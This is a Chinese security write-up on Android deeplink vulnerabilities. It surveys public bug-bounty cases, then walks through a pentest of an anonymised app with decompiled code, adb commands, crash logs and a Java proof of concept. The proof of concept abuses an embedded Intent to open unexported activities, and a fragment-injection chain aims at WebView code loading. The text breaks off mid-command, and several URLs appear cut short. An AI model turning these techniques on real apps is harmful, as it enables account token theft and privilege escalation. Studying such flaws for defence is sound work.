Android中的特殊攻击面(二)——危险的deeplink
0x01 deeplink简介
deeplink 是一种在网页中启动App的超链接。当用户点击deeplink链接时,Android系统会启动注册该deeplink的应用,打开在Manifest文件中注册该deeplink的activity。
```xml ```
对于deeplink,可以通过adb shell am start -a android.intent.action.VIEW -d
由于deeplink天然具有远程的特性,只需要用户点击一下,就可以启动Activity,若这个过程造成安全影响,就是一个1-click的远程漏洞,因此对App而言,deeplink是最为常见的远程攻击面。
0x02 deeplink的安全问题
有一类特殊的基于intent:// scheme的deeplink,各浏览器都出现过与之相关的安全漏洞,文章[1]、[2]有专门的讨论,其安全问题不是本文讨论的重点。本文主要讨论App自定义scheme deeplink引入的安全问题。
1. 通过deeplink操纵WebView
在deeplink漏洞当中,打开App的WebView访问攻击者可控链接携带token,甚至盗取文件或者调用其中的特权接口,又最为常见。例如:
Facebook App [3]
这是一个价值8500刀的Facebook app 漏洞,白帽子对Facebook App大量的fb:// deeplink进行了整理、筛选和自动化测试,找到了3个deeplink可以打开WebView组件访问指定的url,而且这个url支持file://并可以打开本地文件,尽管没有给出自动盗取文件的利用方法,facebook仍然慷慨地奖励了这一漏洞。
Grab App [4]
bagipro发现通过deeplinkgrab://open?screenType=HELPCENTER&page=
另外,之前玄武实验室披露的应用克隆漏洞,其实也是通过deeplink打开WebView,利用WebView设置配置不当,盗取App私有目录的所有文件实现应用克隆。这一类deeplink需要重点关注url、extra_url、page、link等参数,看是否可以设置为任意域名打开webview。
2. 通过deeplink构造CSRF
针对twitter的Periscope Android App,若用户点击形为pscp://user/
3. 通过deeplink绕过应用锁
Shopify App具有基于指纹的应用锁功能,然而却可以通过点击deeplink https://www.shopify.com/admin/products绕过应用锁,无限制地使用app的功能[6]。
另外,还有 sambal0x分享的一个案例,通过deeplink构造条件竞争,绕过应用锁[7]。
4. 通过deeplink打开App保护组件
这里分享自己在某App渗透测试中的deeplink漏洞案例(漏洞已经修复,但隐去app信息,以victim-app代替)类似于facebook app,该App包含大量(>200)的deeplink,散落在java代码和asset目录的js文件中。对这些deeplink进行筛选和简单Fuzz,发现了多个安全问题。包括:
(1)多个deeplink控制WebView url跳转指定网址,只能用来phishing;
(2)两个deeplink可以打开ReactNativeWebView且支持file://;
(3)一个deeplink可以打开WebView并携带重要的oauth_token泄露到攻击者指定的链接;
(4)两个deeplink分别能启动app调试、停止app调试并在不安全的外部存储生成profile文件
在这些安全问题当中,最有意思的则是可以通过deeplink打开App的保护组件,漏洞的根本原因在于,Intent extra可以通过deeplink以参数的形式传递至App中哪些不导出的Activity中,从而暴露了大量的攻击面。通过adb shell am start -a android.intent.action.VIEW -d
通过deeplink打开任意activity
通过测试victim-app://c/identitychina,发现经过复杂的Intent传递,最终可以打开IdentityChinaActivity。
如代码所示,globalIdentityFlowIntent作为一个Parcelable对象,可以跟随deeplink的Intent extra传递,为攻击者可控。而这个embeded Intent最终会传入startActivityForResult,造成一个launchAnyWhere漏洞,攻击者可以通过globalIdentityFlowIntent指向不导出的Activity,或者构造App所持有权限的特权操作,实现提权或者盗取敏感信息。
```javaprotected void onActivityResult(int arg3, int arg4, Intent arg5) { super.onActivityResult(arg3, arg4, arg5); int v0 = 100; if(arg3 == 1 && arg5 != null) { String v3 = arg5.getStringExtra("country_code"); IdentityChinaAnalyticsV2.d(v3); if(this.o != null) { AccountVerificationActivityIntents.a(v3); this.startActivityForResult(this.o, v0); //this.o is an attacker controlled Intent } } else if(arg3 == v0) { arg3 = -1; if(arg4 == arg3) { this.setResult(arg3); this.finish(); } } } protected void onCreate(Bundle arg2) { super.onCreate(arg2); this.setContentView(layout.activity_simple_fragment); ButterKnife.a(((Activity)this)); if(arg2 == null) { this.c(true); new ChinaVerificationsRequest().a(this.n).execute(this.I); } Intent v2 = this.getIntent(); if(v2.getParcelableExtra("globalIdentityFlowIntent") != null) { this.o = v2.getParcelableExtra("globalIdentityFlowIntent"); //Attacker controlled Intent } }```
通过如下POC可实现漏洞利用
```javaIntent intent = new Intent(Intent.ACTION_VIEW);intent.setData(Uri.parse("victim-app://c/identitychina"));Intent payload = new Intent();payload.setComponent(new ComponentName("", ""));intent.putExtra("globalIdentityFlowIntent", payload);startActivity(intent);```
通过deeplink打开任意fragment
对deeplink victim-app://c/contact/2?fragmen_class=AAAA进行测试时,触发了crash,如下
```shell$ adb shell am start -a android.intent.action.VIEW "victim-app://c/contact/2?fragmen_class=AAAA"03-06 08:43:37.019 27066 27066 E AndroidRuntime: Process: com.victim-app.android, PID: 2706603-06 08:43:37.019 27066 27066 E AndroidRuntime: java.lang.RuntimeException: Unable to start activity ComponentInfo{com.victim-app.android/com.victim-app.android.core.activities.ModalActivity}: android.support.v4.app.Fragment$InstantiationException: Unable to instantiate fragment AAAA: make sure class name exists, is public, and has an empty constructor that is public......(skip)03-06 08:43:37.019 27066 27066 E AndroidRuntime: Caused by: java.lang.ClassNotFoundException: Didn't find class "AAAA" on path: DexPathList[[zip file "/data/app/com.victim-app.android-88DWiVjEAeeamfvTk2khAA==/base.apk"],nativeLibraryDirectories=[/data/app/com.victim-app.android-88DWiVjEAeeamfvTk2khAA==/lib/arm, /data/app/com.victim-app.android-88DWiVjEAeeamfvTk2khAA==/base.apk!/lib/armeabi-v7a, /system/lib, /vendor/lib]]```
仔细分析,发现crash原因在于deeplink最终打开了ModalActivity,无法对名为AAAA的Fragment类实例化。如果在deeplink中的fragment_class参数传入一个victim-app已有的Fragment,则可以通过ModalActivity启动。在这个参数当中,我尝试传入了所有已有的Fragment Class,有的可以成功启动,有的却因为参数不完整造成crash,但是这里能够造成何种安全影响却费了一番周折。
最终,我找到一个GoogleWebViewMapFragment,有机会执行loadDataWithBaseURL,通过WebView加载HTML/JS.
```java@SuppressLint(value={"SetJavaScriptEnabled", "AddJavascriptInterface"}) public View a(LayoutInflater arg7, ViewGroup arg8, Bundle arg9) { View v7 = arg7.inflate(layout.fragment_webview, arg8, false); this.a = v7.findViewById(id.webview); this.d = v7; WebSettings v8 = this.a.getSettings(); v8.setSupportZoom(true); v8.setBuiltInZoomControls(false); v8.setJavaScriptEnabled(true); v8.setGeolocationEnabled(true); v8.setAllowFileAccess(false); v8.setAllowContentAccess(false); this.a.setWebChromeClient(new GeoWebChromeClient(this)); VicMapType v8_1 = VicMapType.b(this.o()); this.a.loadDataWithBaseURL(v8_1.c(), v8_1.a(this.w()), "text/html", "base64", null); //noice!!! this.a.addJavascriptInterface(new MapsJavaScriptInterface(this, null), "VicMapView"); return v7; }```
第一个参数v8_1.c()为baseUrl,第二个参数v8_1.a(this.w())为data,如果能同时通过deeplink控制这两个参数,就可以操纵WebView在任意baseUrl加载任意HTML/JS。
第一个参数v8_1.c()就是下面的c()方法,这个参数的返回值this.c将会放在某个Bundle中的map_domain,此外,也发现this.b作为Bundle的map_url,this.a作为Bundle的map_file_name。
第二个参数v8_1.a(this.w())为下面的a(Resources arg3)方法,调用VicMapUtils.a方法,并调用this.b方法对文件中的MAPURL字符串进行替换。
```java public VicMapType(String arg1, String arg2, String arg3) { super(); this.a = arg1; this.b = arg2; this.c = arg3; } public String a(Resources arg3) { return VicMapUtils.a(arg3, this.a).replace("MAPURL", this.b).replace("LANGTOKEN", Locale.getDefault().getLanguage()).replace("REGIONTOKEN", Locale.getDefault().getCountry()); } public Bundle a(Bundle arg3) { arg3.putString("map_domain", this.c()); // this.c is put in map_domain arg3.putString("map_url", this.b()); // this.b is put in map_url arg3.putString("map_file_name", this.a()); // this.a is put in map_file_name return arg3; } String a() { return this.a; } public static VicMapType b(Bundle arg5) { return new VicMapType(arg5.getString("map_file_name", ""), arg5.getString("map_url", ""), arg5.getString("map_domain", "")); } String b() { return this.b; } String c() { // v8_1.c() return this.c; }```
检查VicMapUtils.a,发现是打开app asset目录下的文件并读入。
```javapublic class VicMapUtils { public static String a(Resources arg2, String arg3) { try { InputStream v2 = arg2.getAssets().open(arg3); String v0 = VicMapUtils.a(v2); v2.close(); return v0; } catch(IOException ) { StringBuilder v0_1 = new StringBuilder(); v0_1.append("unable to load asset "); v0_1.append(arg3); throw new RuntimeException(v0_1.toString()); } } public static String a(InputStream arg2) { BufferedReader v0 = new BufferedReader(new InputStreamReader(arg2)); StringBuilder v2 = new StringBuilder(); while(true) { String v1 = v0.readLine(); if(v1 == null) { break; } v2.append(v1); v2.append("\n"); } v0.close(); return v2.toString(); }}```
此时,我检查了APK中的asset目录,找到了一些html文件
```shell$ ls -l *.html-rwxr-xr-x 1 heeeeen h4cker 8290 3 6 08:28 google_map.html-rwxr-xr-x 1 heeeeen h4cker 15024 3 6 08:28 leaflet_map.html-rwxr-xr-x 1 heeeeen h4cker 5546 3 6 08:28 mapbox.html```
同时,在google_map.html中找到了MAPURL字符串
```html$ cat google_map.html